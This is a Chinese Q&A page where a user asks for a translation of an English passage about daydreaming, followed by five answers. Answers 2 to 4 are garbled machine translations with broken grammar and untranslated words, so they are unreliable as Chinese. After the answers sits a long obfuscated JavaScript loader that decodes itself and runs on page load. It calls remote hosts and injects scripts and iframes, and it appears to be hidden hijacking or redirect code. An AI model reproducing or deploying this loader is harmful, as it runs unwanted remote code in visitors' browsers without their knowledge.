帮忙翻译一下

2025-02-26 11:42:30
推荐回答(5个)
回答1:

向乾看 还有 貌舒 都是按照翻译机器翻的,漏洞百出
我自己翻译的
当开会的时候,别人正在演说时,你会不会突然意识到自己却在心不在焉?你也许悔恨不已,重新集中精力。别人一直这么告诉你:白日做梦是在浪费时间。
“正相反”,一位心理学专家L. Giambra说,“白日梦是很必要的。人白天要是不开少许的小差,整个一天下来大大脑就不能正常运转,你做事也就不可能完全在意识掌控之中。这时,白日梦就成了一种意识与潜意识之间沉默对话的方式。
早期心理学专家并没有重视到白日梦的重要性,却只认为这是有害的。曾经一段时间人们都认为白日梦会引发脑部疾病。直到20世纪80年代,人们对白日梦的理解才深入了一些。Eric Klinger,一位心理学教授,写过一本名叫《白日梦》的书。他说:“我们现在知道,白日梦是我们规划(组织、协调)生活的一种方式,从经验中得到学习,并为将来做计划;白日梦实在是我们害怕而且长期存在于我们生活中的那些事情的窗口。”白日梦通常直接简明,与难以理解的夜晚睡梦迥异。相比之下,在生活中通过密切注意来获得深层理解的做法比努力解释你的睡梦的做法要容易。白日梦帮你把生活中难以驾驭的场面组织得有条不紊,并能找到一条解决的途径。白日梦是不能预测的,它会从积极活跃着的思维中令人意想不到地消失。对于许多著名的艺术家和科学家来说,白日梦过去是,现在也是一种创新能力的主要来源。

回答2:

你去过了一次,而有人作演讲,并实现突然,你的心里万英里之外?你可能感到遗憾,并考虑到了您的注意,总是被告知,白日梦是在浪费时间。
“相反,说: ”研究Giambra ,心理学专家, “白日梦是非常必要的。没有它,铭记无法完成所有的思想它必须做的事在正常工作日;你不能尽一切可能与你的思维有意识地(有意识的)想法。相反的,您的无意识思想工作的问题是所有的时间。白日梦则可能是一种方式的意识和无意识的心态都保持沉默的对话。 “
早期心理专家不重视的重要性daydreams ,甚至认为这些有害的。在同一时间白日做梦被认为是引起了一些心理疾病。他们没有更好地理解daydreams直到80年代末。埃里克克林格,一个心理学教授,是作家的书籍白日做梦。克林格说, “我们现在知道,白日梦的一个主要途径,我们组织我们的生活,学习我们的经验,和我们的未来计划; daydreams确实是一个窗口,我们担心的事情和长期的事情,我们的生活中“ 。 Daydreams通常是非常简单和直接的,完全不同的睡眠梦想,这可能是很难理解。更容易获得的深刻理解您的生活密切关注您的daydreams比试图来检查您的睡眠梦想仔细。 Daydreams帮助你认识到困难的情况下您的生活中,找到了一个可能的方式处理这些议题。 Daydreams无法预测,他们离开了意想不到的方向可能是创意和充分的思想。许多著名的艺术家和科学家, daydreams人,是主要来源创造力。

回答3:

您是在会议,当某人做一个报告和突然时意识到您的头脑是外百万英里? 您大概感觉抱歉和组成您的头脑给予注意和总是告诉作白日梦是浪费时间。
相反, ”说L. Giambra,一位专家在心理学, “Daydreaming方面是相当必要的。 在一正常天期间,没有它,头脑couldn’t达成所有认为它必须做; 您可能的can’t做所有您认为与一个神志清楚的头脑。 反而,您不自觉的头脑一直制定出问题。 然后作白日梦也许是神志清楚和不自觉的心境有沈默dialogues.”的一种方式
早期的专家在心理学方面没有给予注意对白日梦的重要性甚至认为他们有害。 一次作白日梦被认为是一些精神病的起因。 他们没有对直到20世纪80年代末的白日梦的更好的理解。 埃里克Klinger,心理学专家,是作白日梦书的作家。 Klinger说, “We知道,即然作白日梦是其中一个主要方式我们组织我们的生活,从我们的经验学会,并且计划我们的未来; 白日梦真正地是在我们恐惧和事我们在life.”渴望的事的一个窗口
白日梦通常是非常简单的并且指挥,相当不同于睡眠梦想,也许是难了解。 更加容易的It’s通过给予密切注意获取对您的生活的深刻的理解对您的白日梦比通过设法认真地检查您的睡眠梦想。 白日梦在您的生活中帮助您认可困难的情况和发现一个可能的方式应付他们。 白日梦不可能被预言; 他们朝也许创造性和有很多想法的意想不到的方向行动。 对于许多著名艺术家和科学家,白日梦是并且是创造性的能量的一个主要来源。

回答4:

你有过在举行会议,而有人演讲,突然意识到你的思想是百万英里? 你可能感到难过,组成,daydreaming 的关注,总有人告诉你想是在浪费时间。
“ 上相反,” 说 · Giambra,心理学,专家 “ Daydreaming 是十分必要。 没有它,心灵 couldn’t 做好也要做一个正常的天中的所有思维 ; 你 can’t 可能做所有你的思想意识 (有意识的) 的态度。 相反,无意识的心正在出问题一直。 白日梦然后可能是一个方法心灵的意识及无意识状态有沉默的对话 ”。
心理学早期专家甚至认为他们有害或没有注意到白日梦的重要性。 一次白日梦被认为是一些精神疾病的一个原因。 他们没有更了解白日梦直至八十年代后期。 Eric Klinger,心理学,教授是这本书的作者 Daydreaming。 Klinger 说我们知道现在,白日梦是我们组织我们的生活,学习从我们的经验和我们期货计划的主要途径之一,白日梦真的是一个对我们怕的东西和我们渴望在生活中的事情的窗口。 白日梦通常很简单和直接的相当与可能很难理解的睡眠梦想不同。 ’s 容易通过由试图仔细检查你的睡眠梦到你的白日梦比关注获得深入了解你的生活。 白日梦帮助您识别在困难的情况下在你的生命中,并找出处理他们的一个可能途径。 白日梦无法预测 ; 他们可创造和完整的理念的意外方向移动关闭。 许多著名的艺术家和科学家白日梦宗被而是创意能源的一个主要来源。

回答5:

我也是自己翻译的,绝不是机器的。

您是否有过这样的经历,在演讲会上突然发现自己心不在焉?可能你会有内疚感,并下决心要认真听讲,因为你曾被告知,幻想只是浪费时间。

但是,心理专家L. Giambra却说“正相反,幻想还是很有必要的。因为在正常的情况下,人不能一直依靠有意识的思维去思考问题和解决问题,相反,许多情况下正是无意识的思维帮助我们解决了所有的问题。幻想是意识和无意识思维的平静对话的一种方式。

早期的心理专家却忽视了幻想的重要性,甚至认为它是有害的。曾经幻想还被认为是引发某些精神疾病的源头。直到上世纪80年代后期他们才对幻想有了更深刻的了解。心理教授Eric Klinger,《幻想》的作者,"我们现在已经了解了幻想是我们生活中学习和计划未来的主要方法,它真实的反映了我们生活中所期望和害怕的东西。幻想其实是非常简单和直接的东西,但是和我们的睡眠做梦是完全不同的,睡眠和做梦是我们很难理解的。通过幻想去深刻了解我们的生活远比通过睡眠和做梦简单得多。幻想帮助我们认识到生活中的困难处境并通过可能的办法解决掉。我们不能预示幻想,在我们有创造性思维和想法的指导时,幻想会从我们的脑海中的消失。对许多著名的艺术家和科学家来说,幻想曾经是也一直是创造性思维的源泉。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();